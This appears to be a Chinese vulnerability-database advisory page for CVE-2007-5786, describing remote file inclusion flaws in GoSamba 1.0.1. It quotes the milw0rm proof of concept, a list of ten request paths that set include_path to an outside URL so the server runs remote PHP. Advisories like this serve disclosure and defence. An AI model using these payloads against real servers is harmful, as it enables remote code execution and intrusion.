GoSamba 多个远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1113854 漏洞类型 代码注入
发布时间 2007-10-27 更新时间 2007-11-15
CVE编号 CVE-2007-5786 CNNVD-ID CNNVD-200711-008
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/4575
https://www.securityfocus.com/bid/26223
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200711-008
|漏洞详情
GoSamba存在多个PHP远程文件包含漏洞。远程攻击者可以借助对(1)HTML_oben.php,(2)inc_freigabe.php,(3)inc_freigabe1.php,或(4)/include的inc_freigabe3.php;(5)inc_group.php;(6)inc_manager.php;(7)inc_newgroup.php;(8)inc_smb_conf.php;(9)inc_user.php;或(10)main.php的include_path参数中的一个URL,执行任意PHP代码。
|漏洞EXP
#################################################################################
#  GoSamba 1.0.1 (include_path) Multiple Remote File Inclusion Vulnerabilities
#  http://mesh.dl.sourceforge.net/sourceforge/gosamba/gosamba.1.0.1.tar.gz
#  POC :
#  /inc_group.php?include_path=http://localhost/scripts/020.txt?
#  /inc_manager.php?include_path=http://localhost/scripts/020.txt?
#  /inc_newgroup.php.php?include_path=http://localhost/scripts/020.txt?
#  /inc_smb_conf.php?include_path=http://localhost/scripts/020.txt?
#  /inc_user.php?include_path=http://localhost/scripts/020.txt?
#  /main.php?include_path=http://localhost/scripts/020.txt?
#  /include/HTML_oben.php?include_path=http://localhost/scripts/020.txt?
#  /include/inc_freigabe.php?include_path=http://localhost/scripts/020.txt?
#  /include/inc_freigabe1.php?include_path=http://localhost/scripts/020.txt?
#  /include/inc_freigabe3.php?include_path=http://localhost/scripts/020.txt?
#################################################################################

# milw0rm.com [2007-10-27]
|受影响的产品
addux GoSamba 1.0.1
|参考资料

来源:MILW0RM
名称:4575
链接:http://www.milw0rm.com/exploits/4575
来源:XF
名称:gosamba-includepath-file-include(38123)
链接:http://xforce.iss.net/xforce/xfdb/38123
来源:BID
名称:26223
链接:http://www.securityfocus.com/bid/26223
来源:VUPEN
名称:ADV-2007-3646
链接:http://www.frsirt.com/english/advisories/2007/3646